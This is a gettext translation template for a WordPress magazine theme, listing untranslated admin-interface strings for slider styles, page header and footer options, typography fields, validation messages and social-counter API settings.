#: inc/meta-box/meta-box.php:567
msgid ""
"Posts Featured Slider\r\n"
"                                Style 29"
msgstr ""

#: inc/meta-box/meta-box.php:570
msgid ""
"Posts Featured Slider\r\n"
"                                Style 30"
msgstr ""

#: inc/meta-box/meta-box.php:577
msgid ""
"Revolution Slider Full\r\n"
"                                Width"
msgstr ""

#: inc/meta-box/meta-box.php:580
msgid ""
"Revolution Slider In\r\n"
"                                Container"
msgstr ""

#: inc/meta-box/meta-box.php:583
msgid ""
"Posts Featured Slider\r\n"
"                                Style 35"
msgstr ""

#: inc/meta-box/meta-box.php:586
msgid ""
"Posts Featured Slider\r\n"
"                                Style 36"
msgstr ""

#: inc/meta-box/meta-box.php:589
msgid ""
"Posts Featured Slider\r\n"
"                                Style 37"
msgstr ""

#: inc/meta-box/meta-box.php:592
msgid ""
"Posts Featured Slider\r\n"
"                                Style 38"
msgstr ""

#: inc/meta-box/meta-box.php:595
msgid ""
"Posts Featured Slider\r\n"
"                                Style 39"
msgstr ""

#: inc/meta-box/meta-box.php:607
msgid ""
"If you select Revolution Slider above, please fill Revolution Slider\r\n"
"                        Shortcode here"
msgstr ""

#: inc/meta-box/meta-box.php:631
msgid "By default, this option will follow on Customizer settings"
msgstr ""

#: inc/meta-box/meta-box.php:646
msgid ""
"Display Breadcrumb on This\r\n"
"                        Page?"
msgstr ""

#: inc/meta-box/meta-box.php:661
msgid "Display Share Box on This Page?"
msgstr ""

#: inc/meta-box/meta-box.php:676
msgid "Hide Header on This Page?"
msgstr ""

#: inc/meta-box/meta-box.php:690
msgid "Hide Footer on This Page?"
msgstr ""

#: inc/meta-box/meta-box.php:703
msgid ""
"Select Sidebar Position for This\r\n"
"                        Page"
msgstr ""

#: inc/meta-box/meta-box.php:763
msgid ""
"Please fill in the estimated reading time for this post. For example: 3\r\n"
"                        mins<br>If you want to set a default reading time "
"value for all posts, you can do so by going to\r\n"
"                        <strong>Customize > General >\r\n"
"                            General Settings > Set A Default Reading Time "
"Value</strong>"
msgstr ""

#: inc/meta-box/meta-box.php:777
msgid "Sidebar Layout for this post?"
msgstr ""

#: inc/meta-box/meta-box.php:782 inc/meta-box/register/page.php:84
msgid "Default Value ( on Customize )"
msgstr ""

#: inc/meta-box/meta-box.php:787
msgid ""
"No Sidebar with\r\n"
"                                Container Width Smaller"
msgstr ""

#: inc/meta-box/meta-box.php:977
msgid "Updated By"
msgstr ""

#: inc/meta-box/meta-box.php:979
msgid "Reviewed By"
msgstr ""

#: inc/meta-box/meta-box.php:981
msgid "Edited By"
msgstr ""

#: inc/meta-box/meta-box.php:983
msgid "Revised By"
msgstr ""

#: inc/meta-box/meta-box.php:998
msgid "-- Select User --"
msgstr ""

#: inc/meta-box/meta-box.php:1022
msgid "Sponsored Post"
msgstr ""

#: inc/meta-box/meta-box.php:1027
msgid ""
"Sponsored\r\n"
"                            Post"
msgstr ""

#: inc/meta-box/meta-box.php:1040
msgid ""
"Sponsor\r\n"
"                            Logo"
msgstr ""

#: inc/meta-box/meta-box.php:1058
msgid ""
"Sponsor\r\n"
"                            URL:"
msgstr ""

#: inc/meta-box/meta-box.php:1065
msgid "Directly Redirect"
msgstr ""

#: inc/meta-box/meta-box.php:1086
msgid ""
"Enable Video Preview on Hover\r\n"
"                            Thumbnail"
msgstr ""

#: inc/meta-box/meta-box.php:1099
msgid "Video URL:"
msgstr ""

#: inc/meta-box/meta-box.php:1103
msgid ""
"Please enter the full video URL, ensuring it ends with one of the following "
"extensions:\r\n"
"                                .mp4, .mov, .mkv, .webm, and so on. You may "
"also input URLs from YouTube, Vimeo, or\r\n"
"                                Facebook videos."
msgstr ""

#: inc/meta-box/meta-box.php:1114
msgid ""
"Create a Separate Critical CSS\r\n"
"                            cache for this Post?"
msgstr ""

#: inc/meta-box/register/page.php:15
msgid "Header"
msgstr ""

#: inc/meta-box/register/page.php:62
msgid "Page Template"
msgstr ""

#: inc/meta-box/register/page.php:70
msgid "Header Builder Layout"
msgstr ""

#: inc/meta-box/register/page.php:74
msgid "Override header builder layout for this page."
msgstr ""

#: inc/meta-box/register/page.php:80
msgid "Header Style"
msgstr ""

#: inc/meta-box/register/page.php:97
msgid "Override header style for this page."
msgstr ""

#: inc/meta-box/register/page.php:110
msgid "Replace & change header with for this page."
msgstr ""

#: inc/meta-box/register/page.php:115
msgid "Custom Main Nav Height( min 30px )"
msgstr ""

#: inc/meta-box/register/page.php:123
msgid "Custom Main Nav Height when Sticky Header( min 30px )"
msgstr ""

#: inc/meta-box/register/page.php:130
msgid "Custom TopBar Menu"
msgstr ""

#: inc/meta-box/register/page.php:134
msgid "Replace & change Topbar Menu for this page."
msgstr ""

#: inc/meta-box/register/page.php:138
msgid "Custom Primary Menu"
msgstr ""

#: inc/meta-box/register/page.php:142
msgid "Replace & change Primary Menu for this page."
msgstr ""

#: inc/meta-box/register/page.php:148
msgid "You can override default site logo for this page."
msgstr ""

#: inc/meta-box/register/page.php:154
msgid "You can change header background color with this option."
msgstr ""

#: inc/meta-box/register/page.php:162
msgid ""
"You can change header background image color with this option. You should "
"use image with minimum width 1920px and minimum height 300px"
msgstr ""

#: inc/meta-box/register/page.php:168
msgid "Main Bar Background Color"
msgstr ""

#: inc/meta-box/register/page.php:169
msgid "You can change main nav background color with this option."
msgstr ""

#: inc/meta-box/register/page.php:175
msgid "Main Bar Background Image"
msgstr ""

#: inc/meta-box/register/page.php:177
msgid "You can change main bar background image color with this option."
msgstr ""

#: inc/meta-box/register/page.php:229
msgid "Main Bar Menu Text Color"
msgstr ""

#: inc/meta-box/register/page.php:236
msgid "Main Bar Menu Text Hover & Active Color"
msgstr ""

#: inc/meta-box/register/page.php:243
msgid "Main Bar Padding Menu Items Background Color"
msgstr ""

#: inc/meta-box/register/page.php:250
msgid "Main Bar Search Icon Color"
msgstr ""

#: inc/meta-box/register/page.php:257
msgid "Main Bar Icon Close Search Color"
msgstr ""

#: inc/meta-box/register/page.php:267
msgid "Footer Builder Layout"
msgstr ""

#: inc/meta-box/register/page.php:271
msgid "Override footer builder layout for this page."
msgstr ""

#: inc/meta-box/register/page.php:327
msgid "Override footer layout for this page."
msgstr ""

#: inc/meta-box/register/page.php:331
msgid "Enable/Disable Page Header"
msgstr ""

#: inc/meta-box/register/page.php:342
msgid "Hide/Show Line Below Title"
msgstr ""

#: inc/meta-box/register/page.php:354
msgid "Hide/Show Breadcrumbs"
msgstr ""

#: inc/meta-box/register/page.php:381
msgid "Custom Container Width for Page Header"
msgstr ""

#: inc/meta-box/register/page.php:402
msgid "Padding bottom"
msgstr ""

#: inc/meta-box/register/page.php:410
msgid "On/Off Uppercase for Title"
msgstr ""

#: inc/meta-box/register/page.php:447
msgid "Custom Padding Bottom for Title"
msgstr ""

#: inc/meta-box/register/page.php:467
msgid "Custom size for Title"
msgstr ""

#: inc/meta-box/register/page.php:477
msgid "Custom size for Breadcrumb"
msgstr ""

#: inc/meta-box/register/page.php:540
#: inc/options/framework/fields/background/background.php:161
#: inc/woocommerce/modules/metaboxes.php:195
msgid "Background Position"
msgstr ""

#: inc/meta-box/register/page.php:559
#: inc/options/framework/fields/background/background.php:218
#: inc/woocommerce/modules/metaboxes.php:214
msgid "Background Size"
msgstr ""

#: inc/meta-box/register/page.php:572
#: inc/options/framework/fields/background/background.php:184
#: inc/woocommerce/modules/metaboxes.php:227
msgid "Background Repeat"
msgstr ""

#: inc/meta-box/register/page.php:578 inc/woocommerce/modules/metaboxes.php:233
msgid "No repeat"
msgstr ""

#: inc/meta-box/register/page.php:587 inc/woocommerce/modules/metaboxes.php:310
msgid "Custom CSS Code"
msgstr ""

#: inc/meta-box/register/page.php:592 inc/woocommerce/modules/metaboxes.php:315
msgid ""
"Enter your CSS code. In some case, the <code>!important</code> tag may be "
"needed"
msgstr ""

#: inc/meta-box/register/page.php:598
msgid "Page Options"
msgstr ""

#: inc/modules/penci-menu-callback.php:67
msgid "You can add new a Penci Block on <a target=\"_blank\" href=\""
msgstr ""

#: inc/modules/penci-menu-callback.php:104
msgid "Upload Background Image"
msgstr ""

#: inc/modules/penci-menu-callback.php:109
msgid "Change Background Image"
msgstr ""

#: inc/options/custom-fields/import-field.php:24 inc/options/options.php:638
msgid "Import Theme Settings"
msgstr ""

#: inc/options/custom-fields/spacing-field.php:29
msgid "Margin"
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:172
msgid "Error while saving the changes."
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:239
#: inc/options/framework/classes/admin-options.class.php:258
#: inc/options/framework/classes/admin-options.class.php:300
#: inc/options/framework/classes/admin-options.class.php:315
msgid "Default settings restored."
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:243
#: inc/options/framework/classes/admin-options.class.php:262
msgid "Error while resettings."
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:291
msgid "Settings successfully imported."
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:556
msgid "You have unsaved changes, save your changes!"
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:558
msgid "show all settings"
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:560
#: inc/options/framework/fields/map/map.php:23
msgid "Search..."
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:563
#: inc/options/framework/classes/admin-options.class.php:684
msgid "Save"
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:563
#: inc/options/framework/classes/admin-options.class.php:684
msgid "Saving..."
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:564
#: inc/options/framework/classes/admin-options.class.php:685
msgid "Reset Section"
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:564
#: inc/options/framework/classes/admin-options.class.php:685
msgid "Are you sure to reset this section options?"
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:565
#: inc/options/framework/classes/admin-options.class.php:686
msgid "Are you sure you want to reset all settings to default values?"
msgstr ""

#: inc/options/framework/classes/admin-options.class.php:661
#: inc/options/framework/fields/button_set/button_set.php:56
#: inc/options/framework/fields/checkbox/checkbox.php:82
#: inc/options/framework/fields/radio/radio.php:75
#: inc/options/framework/fields/select/select.php:113
#: inc/options/framework/functions/actions.php:41
msgid "No data available."
msgstr ""

#: inc/options/framework/classes/setup.class.php:412
msgid "Are you sure?"
msgstr ""

#: inc/options/framework/classes/setup.class.php:413
#, php-format
msgid "Please enter %s or more characters"
msgstr ""

#: inc/options/framework/classes/setup.class.php:414
msgid "Searching..."
msgstr ""

#: inc/options/framework/classes/setup.class.php:415
msgid "No results found."
msgstr ""

#: inc/options/framework/classes/setup.class.php:516
msgid "Oops! Not allowed."
msgstr ""

#: inc/options/framework/classes/setup.class.php:584
#: inc/options/framework/classes/setup.class.php:588
msgid "Field not found!"
msgstr ""

#: inc/options/framework/fields/background/background.php:36
#: inc/options/framework/fields/media/media.php:59
msgid "Not selected"
msgstr ""

#: inc/options/framework/fields/background/background.php:72
#: inc/options/framework/fields/date/date.php:31
#: inc/options/framework/fields/datetime/datetime.php:36
msgid "From"
msgstr ""

#: inc/options/framework/fields/background/background.php:90
#: inc/options/framework/fields/date/date.php:32
#: inc/options/framework/fields/datetime/datetime.php:37
msgid "To"
msgstr ""

#: inc/options/framework/fields/background/background.php:108
msgid "Direction"
msgstr ""

#: inc/options/framework/fields/background/background.php:114
msgid "Gradient Direction"
msgstr ""

#: inc/options/framework/fields/background/background.php:115
msgid "&#8659; top to bottom"
msgstr ""

#: inc/options/framework/fields/background/background.php:116
msgid "&#8658; left to right"
msgstr ""

#: inc/options/framework/fields/background/background.php:117
msgid "&#8664; corner top to right"
msgstr ""

#: inc/options/framework/fields/background/background.php:118
msgid "&#8665; corner top to left"
msgstr ""

#: inc/options/framework/fields/background/background.php:202
msgid "Background Attachment"
msgstr ""

#: inc/options/framework/fields/background/background.php:235
msgid "Background Origin"
msgstr ""

#: inc/options/framework/fields/background/background.php:236
#: inc/options/framework/fields/background/background.php:254
msgid "Padding Box"
msgstr ""

#: inc/options/framework/fields/background/background.php:237
#: inc/options/framework/fields/background/background.php:253
msgid "Border Box"
msgstr ""

#: inc/options/framework/fields/background/background.php:238
#: inc/options/framework/fields/background/background.php:255
msgid "Content Box"
msgstr ""

#: inc/options/framework/fields/background/background.php:252
msgid "Background Clip"
msgstr ""

#: inc/options/framework/fields/background/background.php:269
msgid "Background Blend Mode"
msgstr ""

#: inc/options/framework/fields/background/background.php:271
msgid "Multiply"
msgstr ""

#: inc/options/framework/fields/background/background.php:272
msgid "Screen"
msgstr ""

#: inc/options/framework/fields/background/background.php:274
msgid "Darken"
msgstr ""

#: inc/options/framework/fields/background/background.php:275
msgid "Lighten"
msgstr ""

#: inc/options/framework/fields/background/background.php:276
msgid "Color Dodge"
msgstr ""

#: inc/options/framework/fields/background/background.php:277
msgid "Saturation"
msgstr ""

#: inc/options/framework/fields/background/background.php:279
msgid "Luminosity"
msgstr ""

#: inc/options/framework/fields/backup/backup.php:29
msgid "Export & Download"
msgstr ""

#: inc/options/framework/fields/border/border.php:25
#: inc/options/framework/fields/spacing/spacing.php:25
msgid "top"
msgstr ""

#: inc/options/framework/fields/border/border.php:26
#: inc/options/framework/fields/spacing/spacing.php:26
msgid "right"
msgstr ""

#: inc/options/framework/fields/border/border.php:27
#: inc/options/framework/fields/spacing/spacing.php:27
msgid "bottom"
msgstr ""

#: inc/options/framework/fields/border/border.php:28
#: inc/options/framework/fields/spacing/spacing.php:28
msgid "left"
msgstr ""

#: inc/options/framework/fields/border/border.php:29
#: inc/options/framework/fields/spacing/spacing.php:29
msgid "all"
msgstr ""

#: inc/options/framework/fields/border/border.php:58
msgid "ridge"
msgstr ""

#: inc/options/framework/fields/checkbox/checkbox.php:23
msgid "Check/Uncheck All"
msgstr ""

#: inc/options/framework/fields/dimensions/dimensions.php:22
msgid "width"
msgstr ""

#: inc/options/framework/fields/dimensions/dimensions.php:23
msgid "height"
msgstr ""

#: inc/options/framework/fields/gallery/gallery.php:20
msgid "Add Gallery"
msgstr ""

#: inc/options/framework/fields/gallery/gallery.php:21
msgid "Edit Gallery"
msgstr ""

#: inc/options/framework/fields/group/group.php:41
#: inc/options/framework/fields/repeater/repeater.php:27
msgid "Error: Field ID conflict."
msgstr ""

#: inc/options/framework/fields/group/group.php:52
#: inc/options/framework/fields/group/group.php:107
#: inc/options/framework/fields/repeater/repeater.php:48
#: inc/options/framework/fields/repeater/repeater.php:76
msgid "Are you sure to delete this item?"
msgstr ""

#: inc/options/framework/fields/group/group.php:141
#: inc/options/framework/fields/repeater/repeater.php:89
msgid "You cannot add more."
msgstr ""

#: inc/options/framework/fields/group/group.php:142
#: inc/options/framework/fields/repeater/repeater.php:90
msgid "You cannot remove more."
msgstr ""

#: inc/options/framework/fields/icon/icon.php:21
msgid "Remove Icon"
msgstr ""

#: inc/options/framework/fields/link/link.php:20
msgid "Add Link"
msgstr ""

#: inc/options/framework/fields/link/link.php:21
msgid "Edit Link"
msgstr ""

#: inc/options/framework/fields/link/link.php:22
msgid "Remove Link"
msgstr ""

#: inc/options/framework/fields/link_color/link_color.php:39
msgid "Visited"
msgstr ""

#: inc/options/framework/fields/link_color/link_color.php:40
msgid "Focus"
msgstr ""

#: inc/options/framework/fields/map/map.php:25
msgid "Longitude"
msgstr ""

#: inc/options/framework/fields/media/media.php:25
#: inc/options/framework/fields/upload/upload.php:24
msgid "Upload"
msgstr ""

#: inc/options/framework/fields/sorter/sorter.php:21
msgid "Enabled"
msgstr ""

#: inc/options/framework/fields/sorter/sorter.php:22
msgid "Disabled"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:96
msgid "Font Family"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:97
msgid "Select a font"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:105
msgid "Backup Font Family"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:130
msgid "Font Style"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:144
#: inc/options/framework/fields/typography/typography.php:145
msgid "Load Extra Styles"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:158
msgid "Subset"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:175
msgid "Initial"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:184
msgid "Font Variant"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:187
msgid "Small Caps"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:188
msgid "All Small Caps"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:197
msgid "Text Transform"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:200
msgid "Capitalize"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:201
msgid "Uppercase"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:202
msgid "Lowercase"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:211
msgid "Text Decoration"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:218
msgid "Wavy"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:219
msgid "Overline"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:220
msgid "Line-through"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:245
msgid "Line Height"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:257
msgid "Letter Spacing"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:269
msgid "Word Spacing"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:284
msgid "Font Color"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:295
msgid "Custom Style"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:362
msgid "Custom Web Fonts"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:368
msgid "Safe Web Fonts"
msgstr ""

#: inc/options/framework/fields/typography/typography.php:388
msgid "Google Web Fonts"
msgstr ""

#: inc/options/framework/functions/actions.php:16
#: inc/options/framework/functions/actions.php:68
#: inc/options/framework/functions/actions.php:106
#: inc/options/framework/functions/actions.php:141
#: inc/options/framework/functions/actions.php:170
msgid "Error: Invalid nonce verification."
msgstr ""

#: inc/options/framework/functions/actions.php:72
#: inc/options/framework/functions/actions.php:110
msgid "Error: Invalid key."
msgstr ""

#: inc/options/framework/functions/actions.php:114
msgid "Error: The response is not a valid JSON response."
msgstr ""

#: inc/options/framework/functions/actions.php:174
msgid "Error: Invalid term ID."
msgstr ""

#: inc/options/framework/functions/actions.php:180
msgid "Error: You do not have permission to do that."
msgstr ""

#: inc/options/framework/functions/validate.php:14
#: inc/options/framework/functions/validate.php:86
msgid "Please enter a valid email address."
msgstr ""

#: inc/options/framework/functions/validate.php:32
#: inc/options/framework/functions/validate.php:106
msgid "Please enter a valid number."
msgstr ""

#: inc/options/framework/functions/validate.php:50
#: inc/options/framework/functions/validate.php:126
msgid "This field is required."
msgstr ""

#: inc/options/framework/functions/validate.php:68
#: inc/options/framework/functions/validate.php:146
msgid "Please enter a valid URL."
msgstr ""

#: inc/options/options.php:46
msgid "Import Completed"
msgstr ""

#: inc/options/options.php:48
msgid "Not found data"
msgstr ""

#: inc/options/options.php:396
msgid "WooCommerce"
msgstr ""

#: inc/options/options.php:626
msgid "Import/Export"
msgstr ""

#: inc/options/options.php:632
msgid "Export Theme Settings"
msgstr ""

#: inc/options/options.php:633
msgid ""
"This box contains all the theme panel options, encoded as a string so that "
"you can easily copy and move them to another server."
msgstr ""

#: inc/options/options.php:639
msgid ""
"Paste your encoded settings' string here, and the theme will load the "
"options into the database."
msgstr ""

#: inc/smartlists/metabox.php:32
msgid "Smart Lists Settings For This Post"
msgstr ""

#: inc/social-counter/admin-options.php:64
msgid "Facebook Settings"
msgstr ""

#: inc/social-counter/admin-options.php:72
msgid "Facebook Page ID/Name"
msgstr ""

#: inc/social-counter/admin-options.php:74
msgid ""
"Never know it before? <a target=\"_blank\" href=\"https://www.facebook.com/"
"help/1503421039731588\">Get it here</a>."
msgstr ""

#: inc/social-counter/admin-options.php:81
msgid ""
"You can create an application and get Facebook App ID <a href=\"https://"
"developers.facebook.com/docs/apps/register\" target=\"_blank\">here</a>."
msgstr ""

#: inc/social-counter/admin-options.php:86
msgid "Facebook App Secret"
msgstr ""

#: inc/social-counter/admin-options.php:88
msgid ""
"You can create an application and get Facebook App Secret <a href=\"https://"
"developers.facebook.com/docs/apps/register\" target=\"_blank\">here</a>."
msgstr ""

#: inc/social-counter/admin-options.php:93
msgid "Facebook Access Token"
msgstr ""

#: inc/social-counter/admin-options.php:95
msgid ""
"<a class=\"pcfb_acces_token\" href=\"#\">Click here</a> to get the Facebook "
"Access Token. Require Facebook App ID & Facebook App Secret"
msgstr ""

#: inc/social-counter/admin-options.php:100
#: inc/social-counter/admin-options.php:139
#: inc/social-counter/admin-options.php:193
#: inc/social-counter/admin-options.php:231
#: inc/social-counter/admin-options.php:283
#: inc/social-counter/admin-options.php:399
#: inc/social-counter/admin-options.php:486
#: inc/social-counter/admin-options.php:529
#: inc/social-counter/admin-options.php:572
#: inc/social-counter/admin-options.php:617
#: inc/social-counter/admin-options.php:663
#: inc/social-counter/admin-options.php:702
#: inc/social-counter/admin-options.php:748
msgid "Number of Like default"
msgstr ""

#: inc/social-counter/admin-options.php:106
msgid "Custom \"Fans\" text"
msgstr ""

#: inc/social-counter/admin-options.php:107
msgid "Fans"
msgstr ""

#: inc/social-counter/admin-options.php:112
#: inc/social-counter/admin-options.php:151
#: inc/social-counter/admin-options.php:205
#: inc/social-counter/admin-options.php:243
#: inc/social-counter/admin-options.php:295
#: inc/social-counter/admin-options.php:335
#: inc/social-counter/admin-options.php:372
#: inc/social-counter/admin-options.php:411
#: inc/social-counter/admin-options.php:450
#: inc/social-counter/admin-options.php:498
#: inc/social-counter/admin-options.php:541
#: inc/social-counter/admin-options.php:584
#: inc/social-counter/admin-options.php:629
#: inc/social-counter/admin-options.php:675
#: inc/social-counter/admin-options.php:714
#: inc/social-counter/admin-options.php:814
msgid "Custom Button Text"
msgstr ""

#: inc/social-counter/admin-options.php:133
msgid ""
"Enter Vimeo profile name.<br>Example: http://vimeo.com/<strong>profilename</"
"strong><br/><i style=\"color:red\">Please DO NOT enter the full profile URL."
"</i>"
msgstr ""

#: inc/social-counter/admin-options.php:145
msgid "Custom \"Subscribers\" text"
msgstr ""

#: inc/social-counter/admin-options.php:146
#: inc/social-counter/admin-options.php:200
msgid "Subscribers"
msgstr ""

#: inc/social-counter/admin-options.php:152
#: inc/social-counter/admin-options.php:206
msgid "Subscribe"
msgstr ""

#: inc/social-counter/admin-options.php:179
msgid "Channel"
msgstr ""

#: inc/social-counter/admin-options.php:180
msgid "User"
msgstr ""

#: inc/social-counter/admin-options.php:182
msgid "Account Type"
msgstr ""

#: inc/social-counter/admin-options.php:187
msgid "Youtube API Key"
msgstr ""

#: inc/social-counter/admin-options.php:188
msgid ""
"You can register Google API Key here for <a href=\"https://developers.google."
"com/youtube/v3/getting-started\" target=\"_blank\">YouTube</a>."
msgstr ""

#: inc/social-counter/admin-options.php:199
#: inc/social-counter/admin-options.php:237
#: inc/social-counter/admin-options.php:289
#: inc/social-counter/admin-options.php:329
#: inc/social-counter/admin-options.php:366
#: inc/social-counter/admin-options.php:405
#: inc/social-counter/admin-options.php:444
#: inc/social-counter/admin-options.php:492
#: inc/social-counter/admin-options.php:535
#: inc/social-counter/admin-options.php:578
#: inc/social-counter/admin-options.php:623
#: inc/social-counter/admin-options.php:669
#: inc/social-counter/admin-options.php:708
#: inc/social-counter/admin-options.php:754
msgid "Text Below The Number"
msgstr ""

#: inc/social-counter/admin-options.php:226
msgid "Enter your SoundCloud username."
msgstr ""

#: inc/social-counter/admin-options.php:244
#: inc/social-counter/admin-options.php:296
#: inc/social-counter/admin-options.php:336
#: inc/social-counter/admin-options.php:373
#: inc/social-counter/admin-options.php:412
#: inc/social-counter/admin-options.php:451
#: inc/social-counter/admin-options.php:499
#: inc/social-counter/admin-options.php:542
#: inc/social-counter/admin-options.php:585
#: inc/social-counter/admin-options.php:630
#: inc/social-counter/admin-options.php:676
#: inc/social-counter/admin-options.php:715
msgid "Follow Us"
msgstr ""

#: inc/social-counter/admin-options.php:263
msgid "envato"
msgstr ""

#: inc/social-counter/admin-options.php:264
msgid "Enter your Twitter Username"
msgstr ""

#: inc/social-counter/admin-options.php:269
msgid "API Key"
msgstr ""

#: inc/social-counter/admin-options.php:271
msgid "Enter your Twitter API Key"
msgstr ""

#: inc/social-counter/admin-options.php:276
msgid "API Secret Key"
msgstr ""

#: inc/social-counter/admin-options.php:278
msgid "Enter your Twitter API Secret Key"
msgstr ""

#: inc/social-counter/admin-options.php:317
msgid "Enter your Instagram username."
msgstr ""

#: inc/social-counter/admin-options.php:322
msgid "Number of Like default. "
msgstr ""

#: inc/social-counter/admin-options.php:323
msgid ""
"Instagram has stopped supporting getting follower numbers. You need to "
"manually enter the follower number on this option. "
msgstr ""

#: inc/social-counter/admin-options.php:355
msgid "Linkedin url"
msgstr ""

#: inc/social-counter/admin-options.php:394
msgid "Enter your Pinterest username"
msgstr ""

#: inc/social-counter/admin-options.php:432
msgid ""
"Enter full URL of your Flickr profile.<br/>Example: <strong>https://www."
"flickr.com/photos/yourprofile/</strong>"
msgstr ""

#: inc/social-counter/admin-options.php:438
msgid "Number of Like default."
msgstr ""

#: inc/social-counter/admin-options.php:470
msgid "Dribbble UserName"
msgstr ""

#: inc/social-counter/admin-options.php:475
msgid "Access Token Key"
msgstr ""

#: inc/social-counter/admin-options.php:518
msgid "Delicious UserName"
msgstr ""

#: inc/social-counter/admin-options.php:561
msgid "Github UserName"
msgstr ""

#: inc/social-counter/admin-options.php:606
msgid "Enter your Behance username"
msgstr ""

#: inc/social-counter/admin-options.php:611
msgid "Behance API Key"
msgstr ""

#: inc/social-counter/admin-options.php:612
msgid ""
"Get your key <a target=\"_blank\" href=\"https://www.behance.net/dev/"
"apps\">here</a>."
msgstr ""

#: inc/social-counter/admin-options.php:651
msgid "Enter your VK username."
msgstr ""

#: inc/social-counter/admin-options.php:656
msgid "VK API"
msgstr ""

#: inc/social-counter/admin-options.php:658
msgid ""
"Enter your VK API. Get your key <a target=\"_blank\" href=\"https://vk.com/"
"dev/\">here</a>."
msgstr ""

#: inc/social-counter/admin-options.php:697
msgid "Enter your Tiktok username."
msgstr ""

#: inc/social-counter/admin-options.php:736
msgid "Enter your Twitch channel name."
msgstr ""

#: inc/social-counter/admin-options.php:741
msgid "Client ID"
msgstr ""

#: inc/social-counter/admin-options.php:743
msgid ""
"You can create an application and get Twitch Client ID <a href=\"https://dev."
"twitch.tv/docs/v5/guides/authentication/\" target=\"_blank\">here</a>."
msgstr ""

#: inc/social-counter/admin-options.php:775
msgid ""
"Enter the RSS unique setting name.<br><i>Put any text you want but not leave "
"it blank.</i>"
msgstr ""

#: inc/social-counter/admin-options.php:783
msgid "Manual"
msgstr ""

#: inc/social-counter/admin-options.php:789
msgid "Feedpress.it JSON file URL"
msgstr ""

#: inc/social-counter/admin-options.php:790
msgid "Apply to Feedpress RSS Type"
msgstr ""

#: inc/social-counter/admin-options.php:796
msgid "Feed URL"
msgstr ""

#: inc/social-counter/admin-options.php:797
msgid "Apply to Manual RSS Type"
msgstr ""

#: inc/social-counter/admin-options.php:802
msgid "Number of Subscriber default"
msgstr ""

#: inc/social-counter/admin-options.php:803
msgid "Show custom subscirbe on Manual RSS Type"
msgstr ""

#: inc/social-counter/admin-options.php:809
msgid "Text below the number"
msgstr ""

#: inc/social-counter/social-counter.php:163
msgid "Clear Counter Caches"
msgstr ""

#: inc/social-counter/social-counter.php:185
msgid "Successfully clear all social counter cache."
msgstr ""

#: inc/template-builder/archive-elements/breadcrumb.php:10
msgid "Archive - Breadcrumb"
msgstr ""

#: inc/template-builder/archive-elements/breadcrumb.php:66
#: inc/template-builder/archive-elements/description.php:65
#: inc/template-builder/archive-elements/taxonomy.php:203
#: inc/template-builder/archive-elements/title.php:140
#: inc/template-builder/single-elements/author.php:91
#: inc/template-builder/single-elements/breadcrumb.php:70
#: inc/template-builder/single-elements/content.php:132
#: inc/template-builder/single-elements/meta.php:523
#: inc/template-builder/single-elements/postpagination.php:109
#: inc/template-builder/single-elements/relatedpost.php:281
#: inc/template-builder/single-elements/subtitle.php:79
#: inc/template-builder/single-elements/taxonomy.php:244
#: inc/template-builder/single-elements/title.php:87
#: inc/template-builder/single-elements/toc.php:102
msgid "Color & Styles"
msgstr ""

#: inc/template-builder/archive-elements/breadcrumb.php:72
#: inc/template-builder/single-elements/breadcrumb.php:76
msgid "Typography for BreadCrumb"
msgstr ""

#: inc/template-builder/archive-elements/breadcrumb.php:219
msgid "General Archive Title"
msgstr ""

#: inc/template-builder/archive-elements/description.php:10
msgid "Archive - Description"
msgstr ""

#: inc/template-builder/archive-elements/description.php:71
#: inc/template-builder/archive-elements/title.php:221
msgid "Typography for Archive Description"
msgstr ""

#: inc/template-builder/archive-elements/description.php:106
#: inc/template-builder/archive-elements/title.php:262
msgid "Typography for Read more"
msgstr ""

#: inc/template-builder/archive-elements/posts.php:20
msgid "Archive - Posts"
msgstr ""

#: inc/template-builder/archive-elements/taxonomy.php:15
msgid "Archive - Taxonomies"
msgstr ""

#: inc/template-builder/archive-elements/taxonomy.php:174
msgid "This option is visible on frontend only."
msgstr ""

#: inc/template-builder/archive-elements/taxonomy.php:237
#: inc/template-builder/single-elements/taxonomy.php:253
msgid "Typography for Term"
msgstr ""

#: inc/template-builder/archive-elements/title.php:10
msgid "Archive - Title"
msgstr ""

#: inc/template-builder/archive-elements/title.php:85
msgid "Show Archive Description"
msgstr ""

#: inc/template-builder/archive-elements/title.php:90
msgid "Description Position"
msgstr ""

#: inc/template-builder/archive-elements/title.php:101
msgid "Description Text Align"
msgstr ""

#: inc/template-builder/archive-elements/title.php:146
msgid "Typography for Archive Main Title"
msgstr ""

#: inc/template-builder/archive-elements/title.php:152
msgid "Typography for Prefix Text"
msgstr ""

